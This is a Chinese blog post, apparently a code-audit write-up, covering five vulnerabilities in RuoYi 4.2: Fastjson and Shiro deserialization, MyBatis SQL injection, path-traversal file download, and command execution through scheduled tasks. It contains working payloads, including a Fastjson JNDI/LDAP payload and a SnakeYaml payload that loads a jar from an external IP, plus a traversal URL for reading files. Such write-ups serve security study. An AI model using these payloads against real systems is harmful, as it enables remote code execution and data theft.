【代码审计】RuoYi-4.2 五处安全问题分析

目录

Fastjson反序列化

Shiro反序列化

SQL注入

任意文件下载

定时任务命令执行


Fastjson反序列化

看到Fastjson版本号为1.2.60

全局搜.parseObject(

传参方式要注意一下,是对传入的Params先toJSONString,再parseObject

此外要过掉第一个if

GenConstants.TPL_TREE的值为"tree"

则要让genTable.getTplCategory()的值为"tree"

所以要这么设置下

validateEdit在/tool/gen/edit被调用

这个接口一眼顶真,锁定生成代码这部分功能点

先随便导入一个模块,点击编辑

成功抓上包

打入payload:

复制代码
params[@type]=org.apache.shiro.jndi.JndiObjectFactory&params[resourceName]=ldap://8.138.38.81:1338/#suibian

从1.2.25开始fastjson默认禁用autotype,方便起见我们改下代码

复制代码
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

此外jdk版本要小于8u121,Java 8u121+ 默认禁用了LDAP的远程代码加载

Shiro反序列化

存在shiro组件

依然硬编码密钥

勾选下AES GCM

成功RCE

SQL注入

项目用的是mybatis

全局搜${

后续过程和3.0版本的一致

【代码审计】RuoYi-3.0 三处安全问题分析

任意文件下载

/common/download路由被修了

/common.download/resource未做waf

但StringUtils.substringAfter截取Constants.RESOURCE_PREFIX之后的部分

即截取/profile后的部分

所以要这么构造

复制代码
/common/download/resource?resource=/profile/../../../../../../flag.txt

定时任务命令执行

关注定时任务功能点

本质是打个SPI

之前写过一篇文章:【Web】浅浅地聊SnakeYaml反序列化两条常见利用链

解析yaml用的是snakeyaml

复制代码
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://8.138.38.81:1337/yaml-payload.jar"]]]]')
相关推荐
ZGG00317 分钟前
线程池详解:从 7 大参数到生产避坑
java·数据库·后端
迪康Defender22 分钟前
公用电脑责任追溯难?迪康端点安全一体化管理系统用户模式详解
java·运维·开发语言·网络·其他·安全
迪康Defender1 小时前
迪康端点安全一体化管理系统文档安全:构建企业文档资产全链路防护体系
运维·网络·安全·web安全·终端安全管理
京师20万禁军教头1 小时前
47-常用类-八大包装类(Wrapper Classes)
java
come112341 小时前
剪映零基础教程
java·linux·运维
16月6日-晴1 小时前
Java面向对象——接口
java·开发语言
苏生Susheng2 小时前
【软件实施】Windows 服务器运维实战
java·运维·服务器·windows·spring boot·javaweb·实施
Java小白笔记2 小时前
Java 实现 ZIP 压缩包生成方案
java·开发语言·网络·7-zip
霸道流氓气质2 小时前
Spring AI 多模态开发指南:图片理解与语音合成
java·人工智能·spring
en.en..2 小时前
Linux mmap 内存映射深度解析:基于帧缓冲 /dev/fb0
java·服务器·前端